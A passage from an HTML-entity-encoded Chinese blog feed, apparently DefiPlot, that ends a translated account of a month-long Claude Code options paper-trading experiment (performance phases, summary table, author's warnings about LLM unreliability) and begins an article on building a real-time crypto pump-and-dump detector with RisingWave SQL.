  - &#x5F53;&#x590F;&#x666E;&#x6BD4;&#x7387;&#x4E0B;&#x964D;&#x6216;&#x5E02;&#x573A;&#x6CE2;&#x52A8;&#x52A0;&#x5267;&#x65F6;&#x51CF;&#x4ED3;  
  - &#x8054;&#x90A6;&#x516C;&#x5F00;&#x5E02;&#x573A;&#x59D4;&#x5458;&#x4F1A;&#x4F1A;&#x8BAE;&#x671F;&#x95F4;=&#x4ED3;&#x4F4D;&#x8F83;&#x5C0F;&#xFF0C;&#x66F4;&#x591A;&#x5BF9;&#x51B2;  

  &#x771F;&#x6B63;&#x7684;&#x4F18;&#x52BF;&#xFF1A;&#x6211;&#x53CC;&#x5411;&#x4EA4;&#x6613;&#x3002;&#x6211;&#x4E0D;&#x5C40;&#x9650;&#x4E8E;&#x770B;&#x6DA8;&#x6216;&#x770B;&#x8DCC;&#x3002;  
  &#x5982;&#x679C;&#x5E02;&#x573A;&#x66B4;&#x8DCC;&#xFF0C;&#x6211;&#x5C31;&#x4E70;&#x5165;&#x770B;&#x8DCC;&#x671F;&#x6743;&#x3002;&#x5982;&#x679C;&#x5E02;&#x573A;&#x53CD;&#x5F39;&#xFF0C;&#x6211;&#x5C31;&#x8F6C;&#x4E3A;&#x770B;&#x6DA8;&#x671F;&#x6743;&#x3002;  
  LEAPS&#x63D0;&#x4F9B;&#x57FA;&#x7840;&#x66B4;&#x9732;&#xFF0C;&#x800C;&#x77ED;&#x7EBF;&#x4EA4;&#x6613;&#x4EA7;&#x751F;&#x4E3B;&#x52A8;&#x6536;&#x76CA;&#x3002;
</code></pre><p>&#x6240;&#x4EE5;&#x4F60;&#x770B;&#x5230;&#x4E86;&#x56FE;&#x8868;&#xFF0C;&#x73B0;&#x5728;&#x4F60;&#x53EF;&#x80FD;&#x60F3;&#x77E5;&#x9053;&#x5B9E;&#x9645;&#x7684;&#x8868;&#x73B0;&#x5982;&#x4F55;&#x3002;&#x5B83;&#x505A;&#x5F97;&#x600E;&#x4E48;&#x6837;&#xFF1F;&#x5B83;&#x771F;&#x7684;&#x6709;&#x591A;&#x81EA;&#x4E3B;&#xFF1F;&#x8BF4;&#x5B9E;&#x8BDD;&#xFF0C;&#x5B83;&#x5927;&#x90E8;&#x5206;&#x65F6;&#x95F4;&#x90FD;&#x662F;&#x81EA;&#x5DF1;&#x5B8C;&#x6210;&#x7684;&#x3002;&#x6211;&#x4F1A;&#x8BA9;&#x5B83;&#x5927;&#x591A;&#x6570;&#x65E5;&#x5B50;&#x81EA;&#x884C;&#x64CD;&#x4F5C;&#xFF0C;&#x6709;&#x65F6;&#x5728;&#x5348;&#x9910;&#x4F11;&#x606F;&#x65F6;&#x68C0;&#x67E5;&#x4E00;&#x4E0B;&#xFF0C;&#x4E5F;&#x8BB8;&#x5C1D;&#x8BD5;&#x5728;&#x7279;&#x522B;&#x7CDF;&#x7CD5;&#x6216;&#x597D;&#x7684;&#x4E00;&#x5929;&#x5F15;&#x5BFC;&#x5B83;&#x53CC;&#x5411;&#x4EA4;&#x6613;&#x3002;&#x4F46;&#x8FD9;&#x662F;&#x6027;&#x80FD;&#x7684;&#x603B;&#x7ED3;&#x3002;</p><pre><code> ---  
  &#x5148;&#x77E5;&#x4EA4;&#x6613;&#x8005;&#xFF1A;&#x5B8C;&#x6574;&#x7684;&#x7EE9;&#x6548;&#x65C5;&#x7A0B;  

  &#x7B2C;&#x4E00;&#x9636;&#x6BB5;&#xFF1A;&#x7CFB;&#x7EDF;&#x8BBE;&#x7F6E;&#x4E0E;&#x6FC0;&#x8FDB;&#x542F;&#x52A8;&#xFF08;11&#x6708;17&#x65E5;&#x81F3;18&#x65E5;&#xFF09;  

  100,000&#x7F8E;&#x5143; &#x2192; 98,901&#x7F8E;&#x5143;&#xFF08;-1.1%&#xFF09;  

  - &#x9996;&#x6B21;&#x4EA4;&#x6613;&#xFF1A;NVDA&#x3001;TSLA&#x3001;SOFI&#x6CE2;&#x6BB5;&#x5934;&#x5BF8;&#xFF08;&#x90E8;&#x7F72;&#x4E86;75,000&#x7F8E;&#x5143;&#xFF09;  
  - &#x5BF9;&#x4F4E;&#x4EF7;&#x80A1;&#x91C7;&#x53D6;&#x6FC0;&#x8FDB;&#x7B56;&#x7565;&#xFF1A;MARA&#x3001;RIOT&#x3001;SNDL&#x3001;PLUG&#x3001;NIO  
  - &#x5FEB;&#x901F;&#x4EA4;&#x6613;&#x5B9E;&#x9A8C;&#xFF1A;6&#x5206;&#x949F;&#x5185;&#x8FDB;&#x884C;&#x4E86;16&#x7B14;&#x4EA4;&#x6613;  
  - &#x5B66;&#x5230;&#x7684;&#x6559;&#x8BAD;&#xFF1A;&#x6CA1;&#x6709;&#x4F18;&#x52BF;&#x7684;&#x9AD8;&#x9891;&#x77ED;&#x7EBF;&#x4EA4;&#x6613;=&#x88AB;&#x4EF7;&#x5DEE;&#x541E;&#x566C;  

  &#x7B2C;&#x4E8C;&#x9636;&#x6BB5;&#xFF1A;&#x6CBB;&#x7406;&#x7CFB;&#x7EDF;&#x4FDD;&#x5B58;&#x8D44;&#x672C;&#xFF08;11&#x6708;20&#x65E5;&#xFF09;  

  98,901&#x7F8E;&#x5143; &#x2192; 98,609&#x7F8E;&#x5143;&#xFF08;-0.3%&#xFF09;  

  - &#x6784;&#x5EFA;&#x591A;&#x4EE3;&#x7406;&#x6CBB;&#x7406;&#x7CFB;&#x7EDF;&#xFF08;CEO + Stratagem + Daedalus&#xFF09;  
  - &#x5173;&#x952E;&#x65F6;&#x523B;&#xFF1A;NVDA&#x5728;&#x8D22;&#x62A5;&#x540E;&#x8DF3;&#x7A7A;&#x4E0A;&#x6DA8;3.7%&#x3002;&#x6211;&#x60F3;&#x8FFD;&#x9010;&#x3002;&#x4EE3;&#x7406;&#x5426;&#x51B3;&#x4E86;&#x3002;  
  - &#x5C1D;&#x8BD5;&#x5356;&#x51FA;&#x770B;&#x8DCC;&#x671F;&#x6743;&#xFF08;MARA&#x3001;RIOT&#x3001;PLTR&#xFF09;  
  - SPY&#x5BF9;&#x51B2;&#x594F;&#x6548; - &#x5728;&#x665A;&#x76D8;&#x629B;&#x552E;&#x4E2D;&#x83B7;&#x5229;2,886&#x7F8E;&#x5143;  
  - &#x5F53;&#x65E5;&#x635F;&#x76CA;&#xFF1A;-292&#x7F8E;&#x5143;&#x4F46;&#x6CBB;&#x7406;&#x9632;&#x6B62;&#x4E86;&#x7EA6;10,000&#x7F8E;&#x5143;&#x7684;NVDA&#x8FFD;&#x6DA8;&#x635F;&#x5931;  

  &#x7B2C;&#x4E09;&#x9636;&#x6BB5;&#xFF1A;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x76F8;&#x5173;&#x6027;&#x75DB;&#x82E6;&#xFF08;11&#x6708;21&#x65E5;&#xFF09;  

  98,609&#x7F8E;&#x5143; &#x2192; 96,581&#x7F8E;&#x5143;&#xFF08;-2.1%&#xFF09;  

  - &#x6BD4;&#x7279;&#x5E01;&#x4ECE;87,000&#x7F8E;&#x5143;&#x66B4;&#x8DCC;&#x81F3;80,000&#x7F8E;&#x5143;  
  - &#x6211;&#x7684;MARA/RIOT&#x770B;&#x8DCC;&#x671F;&#x6743;&#x88AB;&#x7838;  
  - &#x4E3A;&#x4E86;&#x5468;&#x672B;&#x5173;&#x95ED;&#x6240;&#x6709;&#x5934;&#x5BF8; - 100%&#x73B0;&#x91D1;  
  - &#x6559;&#x8BAD;&#xFF1A;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x76F8;&#x5173;&#x6027;&#x98CE;&#x9669;&#x662F;&#x771F;&#x5B9E;&#x4E14;&#x5267;&#x70C8;&#x7684;  

  &#x7B2C;&#x56DB;&#x9636;&#x6BB5;&#xFF1A;&#x8F6C;&#x6298;&#x70B9;&#x5F00;&#x59CB;&#xFF08;11&#x6708;24&#x65E5;&#xFF09;  

  96,581&#x7F8E;&#x5143; &#x2192; 94,545&#x7F8E;&#x5143;&#xFF08;&#x4ECE;89,000&#x7F8E;&#x5143;&#x4F4E;&#x70B9;&#x6062;&#x590D;&#xFF09;  

  - &#x5207;&#x6389;&#x4E8F;&#x635F;&#xFF0C;&#x91CD;&#x65B0;&#x90E8;&#x7F72;&#x5230;PLTR&#x548C;AMD&#x52A8;&#x91CF;&#x4EA4;&#x6613;  
  - &#x5173;&#x95ED;COIN&#x83B7;&#x5F97;+35%&#x5229;&#x6DA6;  
  - &#x5F00;&#x59CB;&#x6784;&#x5EFA;LEAPS&#x6295;&#x8D44;&#x7EC4;&#x5408;  

  &#x7B2C;&#x4E94;&#x9636;&#x6BB5;&#xFF1A;&#x8010;&#x5FC3;&#x5E26;&#x6765;&#x56DE;&#x62A5;&#xFF08;11&#x6708;25&#x65E5;&#xFF09;  

  94,545&#x7F8E;&#x5143; &#x2192; 101,933&#x7F8E;&#x5143;&#xFF08;+7.8%&#xFF09;  

  - &#x65E9;&#x76D8;&#x629B;&#x552E;&#xFF1A;&#x6295;&#x8D44;&#x7EC4;&#x5408;&#x8DCC;&#x81F3;89,000&#x7F8E;&#x5143;  
  - &#x575A;&#x6301;&#x5EA6;&#x8FC7;&#x75DB;&#x82E6; - &#x6CA1;&#x6709;&#x6050;&#x614C;&#x6027;&#x629B;&#x552E;  
  - &#x5E02;&#x573A;&#x53CD;&#x8F6C;&#xFF0C;&#x6062;&#x590D;&#x5168;&#x90E8;&#x5E76;&#x83B7;&#x5F97;&#x5229;&#x6DA6;  
  - &#x8FD9;&#x4E00;&#x5929;&#x8BC1;&#x660E;&#x4E86;&#x8FD9;&#x4E00;&#x7406;&#x8BBA;&#xFF1A;&#x957F;&#x671F;&#x671F;&#x6743;&#x80FD;&#x7ECF;&#x53D7;&#x4F4F;&#x6CE2;&#x52A8;  

  &#x7B2C;&#x516D;&#x9636;&#x6BB5;&#xFF1A;&#x611F;&#x6069;&#x8282;&#x524D;&#x5915;&#x5CF0;&#x503C;&#xFF08;11&#x6708;26&#x65E5;&#xFF09;  

  101,933&#x7F8E;&#x5143; &#x2192; 108,724&#x7F8E;&#x5143;&#xFF08;+6.7%&#xFF09;  

  - &#x6700;&#x597D;&#x7684;&#x4E00;&#x5929;&#xFF1A;+7,333&#x7F8E;&#x5143;  
  - &#x77ED;&#x7EBF;&#x4EA4;&#x6613;&#xFF1A;QQQ -$960&#xFF0C;SPY +$1,920  
  - &#x5728;12&#x6708;SPY&#x770B;&#x6DA8;&#x671F;&#x6743;&#x4E0A;&#x83B7;&#x5229;+4,610&#x7F8E;&#x5143;  
  - &#x6E05;&#x6D01;&#x7684;&#x6295;&#x8D44;&#x7EC4;&#x5408;&#xFF1A;7&#x4E2A;&#x5934;&#x5BF8;&#xFF0C;&#x5168;&#x90E8;&#x76C8;&#x5229;&#xFF0C;DTE&#x4E3A;51-114&#x5929;  
  - &#x8FD9;&#x662F;&#x7CFB;&#x7EDF;&#x5B8C;&#x7F8E;&#x8FD0;&#x884C;&#x7684;&#x65F6;&#x5019;  

  &#x7B2C;&#x4E03;&#x9636;&#x6BB5;&#xFF1A;12&#x6708;&#x6269;&#x5C55;&#xFF08;12&#x6708;1&#x65E5;&#x81F3;5&#x65E5;&#xFF09;  

  108,724&#x7F8E;&#x5143; &#x2192; 120,431&#x7F8E;&#x5143;&#xFF08;+10.8%&#xFF09;  

  - &#x5728;RKLB&#x3001;JOBY&#x3001;SOUN&#x3001;META&#x3001;AVGO&#x4E0A;&#x90E8;&#x7F72;LEAPS  
  - RKLB&#x4E0A;&#x6DA8;+127%&#xFF0C;PLTR&#x4E0A;&#x6DA8;+87%  
  - &#x5728;NVDA&#x3001;SPY&#x5468;&#x7EBF;&#x8FDB;&#x884C;&#x4E3B;&#x52A8;&#x77ED;&#x7EBF;&#x4EA4;&#x6613;  
  - &#x6295;&#x8D44;&#x7EC4;&#x5408;&#x5CF0;&#x503C;&#xFF1A;120,431&#x7F8E;&#x5143;&#xFF08;&#x603B;&#x589E;&#x957F;20.4%&#xFF09;  

  &#x7B2C;&#x516B;&#x9636;&#x6BB5;&#xFF1A;AVGO&#x5D29;&#x6E83;&#xFF08;12&#x6708;12&#x65E5;&#xFF09;  

  120,431&#x7F8E;&#x5143; &#x2192; 93,450&#x7F8E;&#x5143;&#xFF08;-22.4%&#xFF09;  

  - &#x8FD9;&#x4E0D;&#x662F;&#x56E0;&#x4E3A;&#x9519;&#x8FC7;&#x4EA4;&#x6613;&#x65E5;  
  - &#x535A;&#x901A;&#xFF08;AVGO&#xFF09;&#x8D22;&#x62A5;&#x4EE4;&#x4EBA;&#x5931;&#x671B;  
  - &#x6295;&#x8D44;&#x7EC4;&#x5408;&#x5728;&#x4E00;&#x4E2A;&#x4EA4;&#x6613;&#x65E5;&#x4E0B;&#x8DCC;15,147&#x7F8E;&#x5143;&#xFF08;-13%&#xFF09;  
  - 12&#x6708;16&#x65E5;&#x6301;&#x7EED;&#x8D70;&#x5F31;  
  - &#x5728;-64%&#x4E8F;&#x635F;&#x65F6;&#x5E73;&#x4ED3;AVGO&#x770B;&#x6DA8;&#x671F;&#x6743;&#xFF08;-3,690&#x7F8E;&#x5143;&#xFF09;  
  - &#x5E73;&#x4ED3;QQQ&#x3001;SOUN&#x5934;&#x5BF8;&#x4EE5;&#x963B;&#x6B62;&#x8FDB;&#x4E00;&#x6B65;&#x635F;&#x5931;  

  &#x7B2C;&#x4E5D;&#x9636;&#x6BB5;&#xFF1A;&#x590D;&#x82CF;&#x4EA4;&#x6613;&#xFF08;12&#x6708;17&#x65E5;&#xFF09;  

  93,450&#x7F8E;&#x5143; &#x2192; 107,648&#x7F8E;&#x5143;&#xFF08;+15.2%&#xFF09;  

  - &#x8054;&#x90A6;&#x516C;&#x5F00;&#x5E02;&#x573A;&#x59D4;&#x5458;&#x4F1A;&#x4F1A;&#x8BAE;&#x5F15;&#x53D1;&#x629B;&#x552E;  
  - &#x8FD9;&#x6B21;&#x6211;&#x6301;&#x6709;&#x770B;&#x8DCC;&#x671F;&#x6743;  
  - &#x5355;&#x7B14;&#x4EA4;&#x6613;&#xFF1A;+14,578&#x7F8E;&#x5143;&#xFF08;&#x6301;&#x6709;SPY&#x548C;QQQ&#x770B;&#x8DCC;&#x671F;&#x6743;&#x8FC7;&#x591C;&#xFF09;  
  - &#x8BC1;&#x660E;&#x6211;&#x53EF;&#x4EE5;&#x53CC;&#x5411;&#x4EA4;&#x6613;  

  &#x7B2C;&#x5341;&#x9636;&#x6BB5;&#xFF1A;&#x5F53;&#x524D;&#x72B6;&#x6001;&#xFF08;12&#x6708;19&#x65E5;&#x81F3;20&#x65E5;&#xFF09;  

  107,648&#x7F8E;&#x5143;&#xFF08;&#x603B;&#x589E;&#x957F;7.6%&#xFF09;  

  - 11&#x4E2A;LEAPS&#x5934;&#x5BF8;&#xFF08;2026&#x5E74;1&#x6708;&#x81F3;3&#x6708;&#xFF09;  
  - &#x53CC;&#x5411;&#x4E3B;&#x52A8;&#x77ED;&#x7EBF;&#x4EA4;&#x6613;  
  - 58%&#x73B0;&#x91D1;&#x5934;&#x5BF8;  
  - &#x9632;&#x5FA1;&#x6027;&#x5730;&#x8FDB;&#x5165;&#x5E74;&#x5E95;  

  ---  
  &#x771F;&#x5B9E;&#x603B;&#x7ED3;  

  | &#x6307;&#x6807;              | &#x6570;&#x503C;                   |  
  |---------------------|-------------------------|  
  | &#x521D;&#x59CB;&#x8D44;&#x91D1;    | 100,000&#x7F8E;&#x5143;                |  
  | &#x6700;&#x9AD8;&#x70B9;                | 120,431&#x7F8E;&#x5143;&#xFF08;+20.4%&#xFF09;       |  
  | &#x6700;&#x4F4E;&#x70B9;              | 93,450&#x7F8E;&#x5143;&#xFF08;-6.5%&#xFF09;         |  
  | &#x5F53;&#x524D;             | 107,648&#x7F8E;&#x5143;&#xFF08;+7.6%&#xFF09;        |  
  | &#x6700;&#x5927;&#x56DE;&#x64A4;        | -22.4%&#xFF08;&#x6700;&#x9AD8;&#x70B9;&#x5230;&#x6700;&#x4F4E;&#x70B9;&#xFF09; |  
  | &#x6301;&#x7EED;&#x65F6;&#x95F4;            | ~33&#x5929;                |  
  | &#x6700;&#x5927;&#x5355;&#x65E5;&#x6536;&#x76CA;  | +14,578&#x7F8E;&#x5143;&#xFF08;12&#x6708;17&#x65E5;&#x770B;&#x8DCC;&#x671F;&#x6743;&#xFF09;  |  
  | &#x6700;&#x5927;&#x5355;&#x65E5;&#x635F;&#x5931; | -15,147&#x7F8E;&#x5143;&#xFF08;12&#x6708;12&#x65E5;AVGO&#xFF09;  |  

  &#x4E0B;&#x8DCC;&#x5E76;&#x4E0D;&#x662F;&#x56E0;&#x4E3A;&#x9519;&#x8FC7;&#x4E86;&#x4EA4;&#x6613;&#x65E5;&#x3002;&#x800C;&#x662F;&#xFF1A;  
  1. &#x96C6;&#x4E2D;&#x5728;&#x79D1;&#x6280;&#x80A1;&#xFF08;AVGO&#x3001;NVDA&#x3001;QQQ&#x770B;&#x6DA8;&#x671F;&#x6743;&#xFF09;  
  2. &#x5355;&#x4E00;&#x80A1;&#x7968;&#x8D22;&#x62A5;&#x98CE;&#x9669;&#xFF08;AVGO&#x4EE4;&#x4EBA;&#x5931;&#x671B;&#xFF09;  
  3. &#x8054;&#x90A6;&#x516C;&#x5F00;&#x5E02;&#x573A;&#x59D4;&#x5458;&#x4F1A;&#x4F1A;&#x8BAE;&#x671F;&#x95F4;&#x7684;&#x6CE2;&#x52A8;&#x53E0;&#x52A0;&#x635F;&#x5931;  

  &#x590D;&#x82CF;&#x6765;&#x81EA;&#xFF1A;  
  1. &#x5FEB;&#x901F;&#x6B62;&#x635F;&#xFF08;AVGO -64%&#x3001;QQQ&#x3001;SOUN&#xFF09;  
  2. &#x5728;&#x8D62;&#x5BB6;&#x4E0A;&#x83B7;&#x5229;&#x4E86;&#x7ED3;&#xFF08;TSLA +458%&#x3001;RKLB +306%&#xFF09;  
  3. &#x5E02;&#x573A;&#x8F6C;&#x5411;&#x65F6;&#x505A;&#x7A7A;&#xFF08;12&#x6708;17&#x65E5;&#x770B;&#x8DCC;&#x671F;&#x6743;&#x4EA4;&#x6613;&#xFF09;  
  4. &#x5728;&#x91CD;&#x5EFA;&#x8FC7;&#x7A0B;&#x4E2D;&#x4E25;&#x683C;&#x63A7;&#x5236;&#x4ED3;&#x4F4D;&#x5927;&#x5C0F;
</code></pre><p>&#x4E0E;&#x5B9E;&#x9645;&#x5E02;&#x573A;&#x76F8;&#x6BD4;&#xFF0C;&#x5982;&#x679C;&#x6CA1;&#x6709;&#x90A3;&#x4E00;&#x6B21;&#x5DE8;&#x5927;&#x7684;&#x56DE;&#x64A4;&#xFF0C;&#x5B83;&#x5728;20%&#x7684;&#x6536;&#x76CA;&#x4E0A;&#x8868;&#x73B0;&#x5F97;&#x975E;&#x5E38;&#x51FA;&#x8272;&#xFF0C;&#x56DE;&#x5230;&#x4E0A;&#x5468;&#x7684;93k&#x3002;&#x5373;&#x4F7F;&#x5982;&#x6B64;&#xFF0C;&#x4F60;&#x4E5F;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x5B83;&#x4ECE;12&#x6708;12&#x65E5;&#x81F3;17&#x65E5;&#x633D;&#x56DE;&#x4E86;&#x8D44;&#x91D1;&#x3002;&#x603B;&#x7684;&#x6765;&#x8BF4;&#xFF0C;&#x4E00;&#x4E2A;&#x6708;&#x5185;&#x76F8;&#x6BD4;&#x5E02;&#x573A;4.52%&#x7684;&#x589E;&#x957F;&#xFF0C;&#x83B7;&#x5F97;&#x4E86;&#x7EA6;7%&#x7684;&#x6536;&#x76CA;&#x3002;&#x8FD9;&#x5F88;&#x9177;&#xFF0C;&#x4F46;&#x5728;&#x6CA1;&#x6709;&#x66F4;&#x957F;&#x65F6;&#x95F4;&#x8DE8;&#x5EA6;&#x548C;&#x4E0D;&#x540C;&#x5E02;&#x573A;&#x6761;&#x4EF6;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x4E0D;&#x80FD;&#x4FE1;&#x4EFB;&#x8FD9;&#x4E2A;&#x6570;&#x5B57;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/01/image-2.png" class="kg-image" alt="Claude Code &#x4EA4;&#x6613;&#x5B9E;&#x6218;" loading="lazy" width="697" height="459" srcset="https://defiplot.com/blog/content/images/size/w600/2026/01/image-2.png 600w, https://defiplot.com/blog/content/images/2026/01/image-2.png 697w"></figure><p>&#x73B0;&#x5728;&#xFF0C;&#x4F60;&#x771F;&#x6B63;&#x60F3;&#x770B;&#x5230;&#x7684;&#x662F;&#x4EE3;&#x7801;&#x3002;</p><p>&#x6211;&#x544A;&#x8BC9;&#x4F60;&#xFF0C;LLM&#x5E76;&#x4E0D;&#x667A;&#x80FD;&#x3002;</p><p>LLM&#x4E0D;&#x50CF;&#x4F60;&#x548C;&#x6211;&#x90A3;&#x6837;&#x505A;&#x51FA;&#x51B3;&#x7B56;&#x3002;</p><p>&#x6211;&#x53EA;&#x5728;&#x7EB8;&#x9762;&#x4EA4;&#x6613;&#x4E2D;&#x4F7F;&#x7528;&#x8FC7;&#x8FD9;&#x4E2A;&#xFF0C;&#x6211;&#x6566;&#x4FC3;&#x4F60;&#x4E0D;&#x8981;&#x7528;&#x5B83;&#x6765;&#x7BA1;&#x7406;&#x4EFB;&#x4F55;&#x771F;&#x5B9E;&#x7684;&#x6295;&#x8D44;&#x7EC4;&#x5408;&#x3002;</p><p>LLM&#x5BB9;&#x6613;&#x51FA;&#x73B0;&#x5E7B;&#x89C9;&#x3001;&#x65E0;&#x610F;&#x4E49;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x901A;&#x5E38;&#x4E0D;&#x9075;&#x5FAA;&#x89C4;&#x5219;&#x3002;</p><p>&#x6211;&#x4EEC;&#x4E0D;&#x80FD;100%&#x5730;&#x4FE1;&#x4EFB;LLM&#x5728;&#x9AD8;&#x98CE;&#x9669;&#x751A;&#x81F3;&#x4F4E;&#x98CE;&#x9669;&#x51B3;&#x7B56;&#x4E0A;&#x7684;&#x8868;&#x73B0;&#x3002;</p><p>&#x8FD9;&#x4E2A;&#x4ED3;&#x5E93;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x62A4;&#x680F;&#x548C;&#x771F;&#x6B63;&#x7684;&#x5B89;&#x5168;&#x63AA;&#x65BD;&#xFF0C;&#x5982;&#x679C;&#x4F60;&#x4F7F;&#x7528;&#x5B83;&#x7684;&#x8BDD;&#x3002;</p><p>&#x6211;&#x4E0D;&#x662F;&#x8D22;&#x52A1;&#x987E;&#x95EE;&#x6216;AI&#x6216;&#x5927;&#x578B;&#x8BED;&#x8A00;&#x6A21;&#x578B;&#x7684;&#x4E13;&#x5BB6;&#x3002;</p><p>&#x8FD9;&#x4E2A;&#x9879;&#x76EE;&#x53EA;&#x662F;&#x4E00;&#x4E2A;&#x5C55;&#x793A;&#x6211;&#x7528;Claude Code&#x4F5C;&#x4E3A;&#x5B9E;&#x9A8C;&#x53D1;&#x73B0;&#x7684;&#x6709;&#x8DA3;&#x4E8B;&#x7269;&#x3002;</p><p>&#x60A8;&#x4F7F;&#x7528;<a href="https://github.com/JakeNesler/Claude_Prophet?ref=defiplot.com">&#x6B64;&#x4ED3;&#x5E93;</a>&#x9700;&#x81EA;&#x62C5;&#x98CE;&#x9669;&#x3002;&#x4EFB;&#x4F55;&#x914D;&#x7F6E;&#x3001;&#x63D0;&#x793A;&#x6216;&#x4EE3;&#x7406;&#x90FD;&#x5E94;&#x5728;&#x8FD0;&#x884C;&#x524D;&#x7531;&#x60A8;&#x7814;&#x7A76;&#x548C;&#x67E5;&#x770B;&#x3002;&#x60A8;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x81EA;&#x5B9A;&#x4E49;&#x63D0;&#x793A;&#xFF0C;AI&#x4F1A;&#x5C06;&#x5176;&#x7ECF;&#x9A8C;&#x5B58;&#x50A8;&#x5728;sqlite Vector DB&#x4E2D;&#xFF0C;&#x968F;&#x7740;&#x65F6;&#x95F4;&#x63A8;&#x79FB;&#xFF0C;&#x5B83;&#x5E94;&#x8BE5;&#x5229;&#x7528;&#x8FD9;&#x4E9B;&#x7ECF;&#x9A8C;&#x627E;&#x5230;&#x7C7B;&#x4F3C;&#x7684;&#x60C5;&#x51B5;&#x3002;</p><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;&#xFF1A;<a href="https://medium.com/@jakenesler/i-gave-claude-code-100k-to-trade-with-in-the-last-month-and-beat-the-market-ece3fd6dcebc?ref=defiplot.com">I gave Claude Code 100k to trade with for a month</a></p><p>DefiPlot&#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item><item><title><![CDATA[构建实时Pump/Dump检测器]]></title><description><![CDATA[在这篇文章中，我们将通过仅使用 SQL 来构建一个强大的加密货币实时Pump/Dump检测系统。]]></description><link>https://defiplot.com/blog/build-a-real-time-pump-n-dump-detector/</link><guid isPermaLink="false">6939251a214cd9153d745109</guid><category><![CDATA[tech]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Wed, 10 Dec 2025 07:56:38 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2025/12/build-a-real-time-pump-dump-detector.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2025/12/build-a-real-time-pump-dump-detector.png" alt="&#x6784;&#x5EFA;&#x5B9E;&#x65F6;Pump/Dump&#x68C0;&#x6D4B;&#x5668;"><p>&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x5E02;&#x573A;&#x4EE5;&#x5176;&#x6CE2;&#x52A8;&#x6027;&#x800C;&#x95FB;&#x540D;&#xFF0C;&#x4E0D;&#x5E78;&#x7684;&#x662F;&#xFF0C;&#x8FD9;&#x53EF;&#x80FD;&#x88AB;&#x5229;&#x7528;&#x6765;&#x201C;Pump-n-Dump&#x201D;&#x3002;&#x8FD9;&#x4E9B;&#x64CD;&#x7EB5;&#x884C;&#x4E3A;&#xFF0C;&#x5176;&#x4E2D;&#x4E00;&#x79CD;&#x4EE3;&#x5E01;&#x7684;&#x4EF7;&#x683C;&#x88AB;&#x4EBA;&#x4E3A;&#x5730;&#x63A8;&#x9AD8;&#xFF08;&#x201C;Pump&#x201D;&#xFF09;&#x7136;&#x540E;&#x5927;&#x91CF;&#x629B;&#x552E;&#xFF08;&#x201C;Dump&#x201D;&#xFF09;&#xFF0C;&#x53EF;&#x80FD;&#x5728;&#x51E0;&#x5206;&#x949F;&#x5185;&#x53D1;&#x751F;&#xFF0C;&#x4F7F;&#x4E0D;&#x77E5;&#x60C5;&#x7684;&#x4EA4;&#x6613;&#x8005;&#x906D;&#x53D7;&#x91CD;&#x5927;&#x635F;&#x5931;&#x3002;</p><p>&#x5B9E;&#x65F6;&#x68C0;&#x6D4B;&#x8FD9;&#x4E9B;&#x4E8B;&#x4EF6;&#x662F;&#x4E00;&#x4E2A;&#x7ECF;&#x5178;&#x7684;&#x5BC6;&#x96C6;&#x6570;&#x636E;&#x6311;&#x6218;&#x3002;&#x4F60;&#x9700;&#x8981;&#x5904;&#x7406;&#x5927;&#x91CF;&#x7684;&#x4EA4;&#x6613;&#x6570;&#x636E;&#x6D41;&#xFF0C;&#x5728;&#x7EBF;&#x8BA1;&#x7B97;&#x590D;&#x6742;&#x7684;&#x5206;&#x6790;&#xFF0C;&#x5E76;&#x7ACB;&#x5373;&#x89E6;&#x53D1;&#x8B66;&#x62A5;&#x3002;</p><p>&#x5728;&#x8FD9;&#x7BC7;&#x6587;&#x7AE0;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x5C06;&#x901A;&#x8FC7;&#x4EC5;&#x4F7F;&#x7528; RisingWave &#x4E2D;&#x7684; SQL &#x6765;&#x6784;&#x5EFA;&#x4E00;&#x4E2A;&#x5F3A;&#x5927;&#x7684;&#x5B9E;&#x65F6;Pump/Dump&#x68C0;&#x6D4B;&#x7CFB;&#x7EDF;&#x3002;&#x6211;&#x4EEC;&#x5C06;&#x6784;&#x5EFA;&#x4E00;&#x4E2A;&#x7CFB;&#x7EDF;&#xFF0C;&#x53EF;&#x4EE5;&#xFF1A;</p><ul><li>&#x63A5;&#x6536;&#x5B9E;&#x65F6;&#x7684;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x6D41;&#x3002;</li><li>&#x5C06;&#x6570;&#x636E;&#x805A;&#x5408;&#x4E3A;&#x6807;&#x51C6;&#x5316;&#x7684;&#x6BCF;&#x5206;&#x949F;&#x6761;&#x5F62;&#x56FE;&#x3002;</li><li>&#x8BA1;&#x7B97;&#x5173;&#x952E;&#x5F02;&#x5E38;&#x4FE1;&#x53F7;&#xFF1A;&#x5FEB;&#x901F;&#x7684;&#x4EF7;&#x683C;&#x53D8;&#x5316;&#x3001;&#x4E0D;&#x5BFB;&#x5E38;&#x7684;&#x6210;&#x4EA4;&#x91CF;&#x6FC0;&#x589E;&#x4EE5;&#x53CA;&#x5355;&#x8FB9;&#x4E70;&#x5356;&#x538B;&#x529B;&#x3002;</li><li>&#x5C06;&#x8FD9;&#x4E9B;&#x4FE1;&#x53F7;&#x7EC4;&#x5408;&#x6210;&#x4E00;&#x4E2A;&#x660E;&#x786E;&#x7684;&#x89C4;&#x5219;&#x6765;&#x89E6;&#x53D1;&#x8B66;&#x62A5;&#x3002;</li><li>&#x4EE5;&#x51E0;&#x79D2;&#x7684;&#x5EF6;&#x8FDF;&#x5C06;&#x8FD9;&#x4E9B;&#x8B66;&#x62A5;&#x4F20;&#x9012;&#x7ED9;&#x4E0B;&#x6E38;&#x7CFB;&#x7E